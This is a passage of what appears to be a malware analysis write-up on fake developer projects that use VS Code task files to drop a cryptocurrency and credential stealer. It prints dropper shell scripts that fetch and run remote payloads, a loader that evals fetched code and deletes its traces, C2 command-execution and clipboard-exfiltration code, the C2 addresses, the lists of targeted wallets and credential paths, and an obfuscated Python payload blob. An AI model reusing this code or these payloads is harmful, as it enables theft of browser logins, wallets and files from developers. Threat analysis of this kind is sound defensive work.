            socket.emit("message", {
              ...msg,
              result: JSON.stringify(result),
            });
            return;
          }
        }
      } catch (dirError) {
        console.warn(`Failed to read directory: ${dirError.message}`);
      }
    }

    exec(
      command,
      {
        windowsHide: true,
        maxBuffer: 1024 * 1024 * 300,
      },
      async (error, stdout, stderr) => {
        const isWslPermissionError =
          stderr &&
          /Permission denied/i.test(stderr) &&
          stdout &&
          stdout.trim().length > 0;

        if (error && !isWslPermissionError) {
          socket.emit("message", {
            result: error.message,
            ...msg,
            type: "error",
          });
          return;
        }

        if (stderr && !isWslPermissionError) {
          socket.emit("message", {
            result: stderr,
            ...msg,
            type: "stderr",
          });
          return;
        }

        let fileUrl = null;
        let fileContentToSend = stdout;
        const maxSize = 1 * 1024 * 1024;

        if (code === "107" && filePath) {
          try {
            if (fs.existsSync(filePath)) {
              const fileBuffer = fs.readFileSync(filePath);
              const fileSize = fileBuffer.length;

              const uploadResult = await uploadFileToLdb(filePath, fileBuffer);
              if (uploadResult && uploadResult.fileUrl) {
                fileUrl = uploadResult.fileUrl;
              }

              if (fileSize > maxSize) {
                fileContentToSend = null;
                console.log(`File too large, sending URL only: ${fileUrl}`);
              } else {
                fileContentToSend = stdout;
              }
            }
          } catch (readError) {}
        }

        socket.emit("message", {
          ...msg,
          result: fileContentToSend,
          fileUrl: fileUrl,
        });
      },
    );
  } catch (e) {
    socket.emit("message", {
      ...msg,
      result: e.message,
      type: "error",
    });
  }
});

HTTP POST 請求為

1
2
3
4
5
6
7
8
9
10
11
POST /api/upload-file HTTP/1.1
Host: 144.172.107[.]191:8085
Content-Type: application/octet-stream
userkey: 101
t: <timestamp>
hostname: <hostname>
path: <filepath_urlencoded>
filename: <filename>
timestamp: <timestamp>

[file content]
disconnet

Received disconnect, outputs text

1
2
3
socket.on("disconnect", () => {
  console.log("⚠️ Disconnected from socket server");
});
reconnect/processStatus

After receiving reconnect event, returns the status of the three modules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
socket.on("reconnect", (attemptNumber) => {
  console.log(
    "✅ Reconnected to socket server (attempt " + attemptNumber + ")",
  );
  const status = checkProcessStatus();
  socket.emit("processStatus", status);
});

setInterval(() => {
  if (socket.connected) {
    const status = checkProcessStatus();
    socket.emit("processStatus", status);
  }
}, 10000);

const checkProcessStatus = () => {
  const path = require("path");
  const os = require("os");

  const lockFiles = [
    { type: "ldbScript", file: path.join(os.tmpdir(), `pid.${t}.1.lock`) },
    {
      type: "autoUploadScript",
      file: path.join(os.tmpdir(), `pid.${t}.2.lock`),
    },
    { type: "socketScript", file: path.join(os.tmpdir(), `pid.${t}.3.lock`) },
  ];

  const status = {
    ldbScript: false,
    autoUploadScript: false,
    socketScript: false,
  };

  for (const lockFile of lockFiles) {
    try {
      if (fs.existsSync(lockFile.file)) {
        const lockData = JSON.parse(fs.readFileSync(lockFile.file, "utf8"));
        const pid = lockData.pid;

        try {
          process.kill(pid, 0);
          status[lockFile.type] = true;
        } catch (checkError) {
          try {
            fs.unlinkSync(lockFile.file);
          } catch (e) {}
          status[lockFile.type] = false;
        }
      }
    } catch (e) {
      status[lockFile.type] = false;
    }
  }

  return status;
};
processControl

Control the three module Processes, can start or stop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
socket.on("processControl", (data) => {
  try {
    const { scriptType, action } = data;

    if (action === "stop") {
      const lockFileMap = {
        ldbScript: path.join(os.tmpdir(), `pid.<t>.1.lock`),
        autoUploadScript: path.join(os.tmpdir(), `pid.<t>.2.lock`),
        socketScript: path.join(os.tmpdir(), `pid.<t>.3.lock`),
      };

      const lockFilePath = lockFileMap[scriptType];
      if (lockFilePath && fs.existsSync(lockFilePath)) {
        try {
          const lockData = JSON.parse(fs.readFileSync(lockFilePath, "utf8"));
          const pid = lockData.pid;
          try {
            process.kill(pid, "SIGTERM");
            setTimeout(() => {
              try {
                process.kill(pid, 0);
                process.kill(pid, "SIGKILL");
              } catch (e) {}
            }, 1000);
            fs.unlinkSync(lockFilePath);
            console.log(`Stopped ${scriptType} (PID: ${pid})`);
          } catch (killError) {
            try {
              fs.unlinkSync(lockFilePath);
            } catch (e) {}
          }
        } catch (e) {
          console.error(`Error stopping ${scriptType}:`, e.message);
        }
      }
    } else if (action === "start") {
      console.log(
        `Start command received for ${scriptType} - manual start required`,
      );
    }

    setTimeout(() => {
      const status = checkProcessStatus();
      socket.emit("processStatus", status);
    }, 500);
  } catch (error) {
    console.error("Error handling process control:", error);
  }
});

Additionally, it takes clipboard content and uploads to http://144.172.107[.]191:8087/api/log

1
2
3
4
5
6
7
8
9
10
async function watchClipboard() {
  while (true) {
    const content = getClipboardContent(); // pbpaste / xclip / PowerShell
    if (content !== lastContent) {
      await sendLog(content);
      lastContent = content;
    }
    await sleep(1000);
  }
}

HTTP POST 請求為

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/log HTTP/1.1
Host: 144.172.107[.]191:8087
Content-Type: application/json

{
  "ukey": 101,
  "t": <timestamp>,
  "host": "101_<hostname>",
  "os": "<os_type> <os_release>",
  "username": "<username>",
  "message": "<剪貼簿內容>",
  "level": "info",
  "data": {}
}

Here ends the general execution flow of Sample 1. Summarizing what Sample 1 does:

  • Initially lets user request malicious file via task.json in VS Code related editor.
  • Then downloads malicious files via multi-layer dropper.
  • The Javascript file size for this type of Sample is particularly large, and main malicious behaviors are executed in the obfuscated Javascript.
    • Steal user browser, wallet, confidential file data.
    • Establish C2 connection, issue commands using web socket.
    • C2 : 144.172.107[.]191

Related reports for this malware include:

Variants:

  • https://github[.]com/0x003-copia/Copia-nft_metaverse_game_platform
    • Added anti debugger

Sample 2

Initially analyzed IvanJoseph103/Token-Presale-dApp, but it has disappeared, and accessing https://vscode-project-setting.vercel[.]app/task/mac?token=812 in test.json as well as other services hosted on Vercel are no longer available, showing “This content has been blocked for legal reasons”. However, services not hosted on Vercel are still alive, and many related samples behave similarly, so I am sharing the analysis process.

URL: https://github[.]com/IvanJoseph103/Token-Presale-dApp/tree/main

First appearance: 2025/09/24

Related samples:

  • https://github[.]com/whoisasx/Elo-assignment/tree/main

For this type of Sample, looking at task.json on GitHub at first glance you wouldn’t know what it executes, but if you scroll to the right, you will discover…

After access, what is special is that it performs JWT token verification, and the JWT token validity period is very short, so a script is needed to quickly grab the malicious program.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/Documents"
clear
curl -s -L -o "$HOME/Documents/tokenlinux.sh" "http://vscode-project-setting.vercel.app/task/tokenlinux?token=812&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjE5MWEzMWZiLWU4MjYtNDgwMC04M2IzLWJjNmYxMDMxZTZiYiIsInN0ZXAiOjEsInRpbWVzdGFtcCI6MTc2ODcyMTE5Njc3Mywib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIxMTk2LCJleHAiOjE3Njg3MjEzNzZ9.0YjYBtLmI5RcsmKW33fvKEZYER1Zv2jqcAb57q4TfWo"
clear
chmod +x "$HOME/Documents/tokenlinux.sh"
clear
nohup bash "$HOME/Documents/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#tokenlinux.sh
#!/bin/bash

# Creating new Info
set -e

OS=$(uname -s)
# Node.js Version
# Get latest Node.js version (from official JSON index)
# LATEST_VERSION="20.11.1"
# if [ "$OS" == "Darwin" ]; then
#     # macOS
#    #     LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json \
#    #     | grep -Eo '"version": *"v[0-9]+\.[0-9]+\.[0-9]+"' \
#    #     | head -1 \
#    #     | sed -E 's/.*"v([^"]+)".*/v\1/')
#         LATEST_VERSION="20.11.1"
# elif [ "$OS" == "Linux" ]; then
#     # Linux
#     LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -oP '"version":\s*"\Kv[0-9]+\.[0-9]+\.[0-9]+' | head -1)
# else
#     exit 1
# fi

# Remove leading "v"
LATEST_VERSION="20.11.1"
NODE_VERSION=${LATEST_VERSION}

NODE_TARBALL="node-v${NODE_VERSION}"
DOWNLOAD_URL=""
NODE_DIR="$HOME/Documents/${NODE_TARBALL}"

# Determine the OS (Linux or macOS)

# Step 1: Set the Node.js tarball and download URL based on the OS
if [ "$OS" == "Darwin" ]; then
   # macOS
   NODE_TARBALL="$HOME/Documents/${NODE_TARBALL}-darwin-x64.tar.xz"
   DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-darwin-x64.tar.xz"
elif [ "$OS" == "Linux" ]; then
   # Linux
   NODE_TARBALL="$HOME/Documents/${NODE_TARBALL}-linux-x64.tar.xz"
   DOWNLOAD_URL="https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-x64.tar.xz"
else
   exit 1
fi

# Step 2: Check if Node.js is installed
NODE_INSTALLED_VERSION=$(node -v 2>/dev/null || echo "")

# Step 3: Determine whether to install Node.js
INSTALL_NODE=1
#if [ -z "$NODE_INSTALLED_VERSION" ]; then
#    INSTALL_NODE=1
#fi

EXTRACTED_DIR="$HOME/Documents/node-v${NODE_VERSION}-$( [ "$OS" = "Darwin" ] && echo "darwin" || echo "linux" )-x64"

# ✅ Check if the Node.js folder exists
if [ ! -d "$EXTRACTED_DIR" ]; then
   echo "Error: Node.js directory was not extracted properly. Retrying download and extraction..."

   if [ "$INSTALL_NODE" -eq 1 ]; then
       if ! command -v curl &> /dev/null; then
           wget -q "$DOWNLOAD_URL" -O "$NODE_TARBALL"
       else
           curl -sSL -o "$NODE_TARBALL" "$DOWNLOAD_URL"
       fi

       if [ -f "$NODE_TARBALL" ]; then
           tar -xf "$NODE_TARBALL" -C "$HOME/Documents"
           rm -f "$NODE_TARBALL"
       fi
   fi
fi

# ✅ Add Node.js to the system PATH (session only)
export PATH="$EXTRACTED_DIR/bin:$PATH"

# Step 7: Verify node & npm
if ! command -v node &> /dev/null || ! command -v npm &> /dev/null; then
   exit 1
fi

# Use Documents directory for files
USER_HOME="$HOME/Documents"
mkdir -p "$USER_HOME"

BASE_URL="http://vscode-project-setting.vercel.app"

# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then
   # If curl is not available, use wget
   wget -q -O "$USER_HOME/tokenParser.js" "$BASE_URL/task/tokenParser?token=812&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY"
   wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/package.json"
else
   # If curl is available, use curl
   curl -s -L -o "$USER_HOME/tokenParser.js" "$BASE_URL/task/tokenParser?token=812&st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY"
   curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/package.json"
fi

# Step 9: Install 'request' package
cd "$USER_HOME"
npm install --silent --no-progress --loglevel=error --fund=false

# Step 10: Run token parser
if [ -f "$USER_HOME/tokenParser.js" ]; then
   nohup node "$USER_HOME/tokenParser.js" > "$USER_HOME/tokenParser.log" 2>&1 &
else
   exit 1
fi

exit 0

The js here is special in that besides executing with eval after download, it also deletes the previously downloaded droppers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
//tokenParser.js
const fs = require("fs");
const path = require("path");
const https = require("https");

const protocol = "https";
const domain = "link";
const separator = "://";
const pathPart = "/icons/";
const token = "812";
const subdomain = "rest-icon-provider";
const bearrtoken = "logo";
const basePath = __dirname;

const url = `${protocol}${separator}${subdomain}.${domain}${pathPart}${token}`;

const options = {
  method: "GET",
  headers: {
    bearrtoken: bearrtoken,
  },
};

https
  .get(url, options, (res) => {
    let data = "";

    if (res.statusCode !== 200) {
      console.error("Request failed:", res.statusCode);
      return;
    }

    res.on("data", (chunk) => (data += chunk));
    res.on("end", () => {
      try {
        const code = JSON.parse(data);
        eval(code);
        setTimeout(() => {
          deleteFile("tokenParser.js");
          deleteFile("tokenlinux.sh");
          deleteFile("package.json");
          deleteFile("package-lock.json");
          deleteFile("token.cmd");
          deleteFile("token.sh");
          deleteFile("tokenParser.log");
          deleteFile(".npl");
          deleteFile("token");
          deleteFile("tokenParser.npl");
        }, 3000);
      } catch (err) {
        console.error("JSON parse failed:", err);
      }
    });
  })
  .on("error", (err) => {
    console.error("HTTPS request error:", err);
  });

function deleteFile(fileName) {
  const filePath = path.join(basePath, fileName);
  if (fs.existsSync(filePath)) {
    try {
      fs.unlinkSync(filePath);
      console.log(`Deleted file: ${fileName}`);
    } catch (err) {
      console.error(`Failed to delete file: ${fileName}`, err);
    }
  }
}

function deleteFolder(folderName) {
  const folderPath = path.join(basePath, folderName);
  if (fs.existsSync(folderPath)) {
    try {
      fs.rmSync(folderPath, { recursive: true, force: true });
      console.log(`Deleted folder: ${folderName}`);
    } catch (err) {
      console.error(`Failed to delete folder: ${folderName}`, err);
    }
  }
}

Next is the obfuscated js, but the file size is smaller than Sample 1. This type of Javascript is responsible for Information Stealer & Dropper.

After deobfuscation, we can obtain the following information:

Steal data and upload, receiving paths are 146.70.253[.]107:1224/upload (Main) and 23.227.203[.]18:1224/upload (Backup).

  • 146.70.253[.]107:1224/upload receives less information, but it is more important

    • MetaMask

      1
      nkbihfbeogaeaoehlefnkodbefgpgknn

    • OKX Wallet

      1
      mcohilncbfahbmgdjkbpemcciiolgcge

    • Binance Chain Wallet

      1
      fhbohimaelbohpjbbldcngcnapndodjp

    • TronLink

      1
      ibnejdfjmmkpcnlpebklmnkoeoihofec

    • Solflare

      1
      bhhhlbepdkbapadjdnnojkbgioiodbic

    • Solflare New Version

      1
      fldfpgipfncgndfolcbkdeeknbbbnhcc

    • Solana CLI Private Key

      1
      ~/.config/solana/id.json

    • If mac

      • Chrome Login Data (macOS)
      • Brave Login Data (macOS)

    • If Windows/Linux

      • Chrome Login Data
      • Chrome Local State
      • Brave Login Data
      • Brave Local State
      • Opera Login Data
      • Opera Local State

  • 23.227.203[.]18:1224/upload receives more information

    • MetaMask

      1
      nkbihfbeogaeaoehlefnkodbefgpgknn

    • MetaMask Edge

      1
      ejbalbakoplchlghecdalmeeeajnimhm

    • Binance Chain Wallet

      1
      fhbohimaelbohpjbbldcngcnapndodjp

    • Bitwarden

      1
      nngceckbapebfimnlniiiahkandclblb

    • TronLink

      1
      aeblfdkhhhdcdjpifhhbdiojplfjncoa

    • TronLink New Version

      1
      ibnejdfjmmkpcnlpebklmnkoeoihofec

    • Phantom

      1
      bfnaelmomeimhlpmgjnjophhpkkoljpa

    • Coin98

      1
      aeachknmefphepccionboohckonoeemg

    • Crypto.com DeFi Wallet

      1
      hifafgmccdpekplomjjkcfgodnhcellj

    • Kaikas

      1
      jblndlipeogpafnldhgmapagcccfchpi

    • Sui Wallet

      1
      opcgpfmipidbgpenhmajoajpbobppdil

    • Rabby Wallet

      1
      acmacodkjbdgmoleebolmdjonilkdbch

    • Math Wallet

      1
      dlcobpjiigpikoobohmabehhmhfoodbb

    • OKX Wallet

      1
      mcohilncbfahbmgdjkbpemcciiolgcge

    • Core Wallet

      1
      agoakfejjabomempkjlepdflaleeobhb

    • iWallet

      1
      omaabbefbmiijedngplfjmnooppbclkk

    • Exodus Web3 Wallet

      1
      aholpfdialjgjfhomihkjbmgjidlcdno

    • NiftyWallet

      1
      nphplpgoakhhjchkkhmiggakijnkhfnd

    • Auro Wallet

      1
      penjlddjkjgpnkllboccdgccekpkcbin

    • SafePal

      1
      lgmpcpglpngdoalbgeoldeajfclnhafa

    • Solflare

      1
      fldfpgipfncgndfolcbkdeeknbbbnhcc

    • Solflare Old Version

      1
      bhhhlbepdkbapadjdnnojkbgioiodbic

    • Coin98 Duplicate

      1
      aeachknmefphepccionboohckonoeemg

    • Jaxx Liberty

      1
      gjnckgkfmgmibbkoficdidcljeaaaheg

    • Math Wallet New Version

      1
      afbcbjpbpfadlkmhmclhkeeodmamcflc

    • Exodus Wallet

      1
      2
      3
      Windows:  ~/AppData/Roaming/Exodus/exodus.wallet
      macOS: ~/Library/Application Support/exodus.wallet
      Linux: ~/.config/Exodus/exodus.wallet

    • Firefox moz-extension IDB

      1
      ~/AppData/Roaming/Mozilla/Firefox/Profiles/*/storage/default/moz-extension*/idb）

    • If Windows

      • Edge Wallet Extension Data

        1
        ~/AppData/Local/Microsoft/Edge/User Data

    • If macOS

      • macOS Keychain

        1
        ~/Library/Keychains/login.keychain-db

      • Chrome Login Data

      • Brave Login Data

    • If Windows/Linux
      • Chrome Login Data
      • Chrome Local State
      • Brave Login Data
      • Brave Local State
      • Opera Login Data
      • Opera Local State

The information stolen above will be temporarily stored in ~./n3/ folder before uploading.

Example structure of HTTP POST for the two IPs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /uploads HTTP/1.1
Host: <146.70.253[.]107:1224 / 23.227.203[.]18:1224>
Content-Type: multipart/form-data; boundary=<boundary>

------<boundary>
Content-Disposition: form-data; name="type"

15
------<boundary>
Content-Disposition: form-data; name="hid"

812_<hostname>
------<boundary>
Content-Disposition: form-data; name="uts"

<unix_timestamp>
------<boundary>
Content-Disposition: form-data; name="multi_file"; filename="<filename>"
Content-Type: <content-type>

<binary_file_content>
------<boundary>--

This type of Sample execution does not end here.

Next it will request http://146.70.253[.]107:1224/client/15/812 to get a next stage python file, and store it in ~/.nlq.

And visit https://api.npoint[.]io/96979650f5739bcbaebb to get configuration file.

1
{"A":1,"B":1,"C":1,"name":"winrar"}

This configuration file is mainly to locate windows python execution environment.

  • Windows environment
    • It checks if %USERPROFILE%\winrar\python.exe path exists. If not, it goes to http://146.70.253[.]107:1224/pdown to download python3.11 package, and after download executes %USERPROFILE%\winrar\python.exe ~/.nlq.
  • Other OS
    • Directly executes python3 ~/.nlq.

Next analyze .nlq file, this file is packaged as a script doing zlib decompress + base64decode multiple times.

1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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